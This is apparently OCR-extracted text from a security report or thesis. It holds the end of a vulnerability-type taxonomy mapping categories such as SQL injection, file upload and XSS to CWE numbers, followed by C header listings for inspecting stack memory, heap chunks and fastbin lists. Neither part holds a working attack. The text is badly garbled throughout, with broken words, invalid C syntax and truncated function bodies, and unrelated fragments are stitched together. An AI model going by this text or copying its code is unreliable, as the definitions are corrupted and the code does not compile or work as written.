verifying authenticity.

Type: sql-inject

CWE: CWE-89

Description: SQL injection vulnerability

Type: type-check

CWE: unknown

Description: Product incorrectly identi es the type of an nput parameter or le,
then dispatches the wrong 'executable’ (possibly itself)ot process
the input, or otherwise misrepresents the input in a secustcritical
way.

Type: undiag

CWE: none

Description: Undiagnosed vulnerability; report containsenough details so that
the type could be determined by additional in-depth reseah; such
as an un-commented exploit, or di s in an open source product

Type: unk

CWE: none

Description: Unknown vulnerability; report is too vague todetermine type of
issue.

Type: upload

CWE: CWE-434

Description: Product does not restrict the extensions forles that can be uploa-
ded to the web server, leading to code execution if executabéx-
tensions are used in lenames, such as .asp, .php, and .shtml

Type: webroot

CWE: CWE-219, CWE-433

Description: Storage of sensitive data under web documerdat with insu cient
access control.

Type: XSS

CWE: CWE-79, CWE-80, CWE-87, CWE-85, CWE-82, CWE-81, CWE-

Description:

83, CWE-84

Cross-site scripting (aka XSS)
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Header-Dateien

stack.h

#pragma once
#include  <string.h>

void stackSanitize() {
char foo[1024];
memset(foo, ‘A’ sizeof (foo)-1);

Listing 5.1:stack.h
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heap.h

#pragma once
#include  <stdarg.h>
#include  <stdio.h>
#include  <stdlib.h>
#include  <string.h>
#include  <unistd.h>

#define CHUNK_OFFSET (2* sizeof (size_t))
#define  printFastbinList(addr) printBinList(addr, NULL)

void * chunk2mem(void * ptr) {
return  ptr + CHUNK_OFFSET;
}
void * mem2chunk(void * ptr) {
return  ptr - CHUNK_OFFSET;
}
void printChunkAddress( void * ptr, char * name) {
printf("%s:\tchunk 0x%08Ix\n", name, mem2chunk(ptr));
}
void  printBinList( void * addr, void * abort) {
int i = 10;
long * ptr = ( long *) addr;
if (abort)
abort = mem2chunk(abort);
ptr = mem2chunk(ptr);
printf("bin list: ");
printf("0x%08Ix -> ", ptr);
while (1) {
if (i-- <= 0) {
printf("...");
break ;
}
/I get the address of the next chunk
ptr = chunk2mem(ptr);
ptr = ( long *) =ptr;
if (ptr == long *) abort) {
printf("0x%08Ix", ptr);
break ;
}
printf("0x%08Ix -> ", ptr);
fflush(stdout);
puts(™);
}
Listing 5.2:heap.h
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#pragma once

#include  <stdio.h>
#include  <string.h>
#include  <stdlib.h>

int

bitpadding = 32;

char * printRev( char * str) {

void

char str2[64+1], *pl, *p2;
char frmt[80];

int i =1;
pl = str + strlen(str) - 1;
p2 = str2;
while (pl >= str)
*p2++ = xpl-;
*p2 = 0

sprintf(frmt, "%%%is\n", bitpadding);
printf(frmt, str2);

printBits( char * name, long long v,
size_t bytesize, char = frmt) {

int decPadding = 11,

char frmtDec[80];

int  bit;

int  x;

char tmp[2];

size_t size = bytesize * 8;

char * str = malloc(size+1);

if (name)
printf("%s\t= ", name);

sprintf(frmtDec, "%%%i%s\0", decPadding, frmt);
printf(frmtDec, v);
printf(* = ");

for (bit = 0; bit < size; bit++) {
X = v & 0x01;
sprintf(tmp, "%d\0", x);
strcat(str,tmp);
v =vo>> 1

}
str[size] = "0}
printRev(str);
free(str);
}
void printBitsLongLong( char * name,
printBits(name, v, sizeof (long long ), "li");

void  printBitsULongLong( char * name, unsigned long long
printBits(name, v, sizeof (unsigned long long

void printBitsLong(  char = name, long V) {
printBits(name, v, sizeof (long ), "li");

void printBitsULong( char * name, unsigned long

printBits(name, v, sizeof (unsigned long

}

void printBitsInt( char * name, int
printBits(name, v, sizeof (int ), "i");

}

void  printBitsUInt( char * name, unsigned int
printBits(name, v, sizeof (unsigned int

}

void  printBitsShort( char * name, short
printBits(name, v, sizeof (short ), "hi");

}

void  printBitsUShort( char * name, short
printBits(name, v, sizeof (unsigned short

}

Listing 5.3 bits.h
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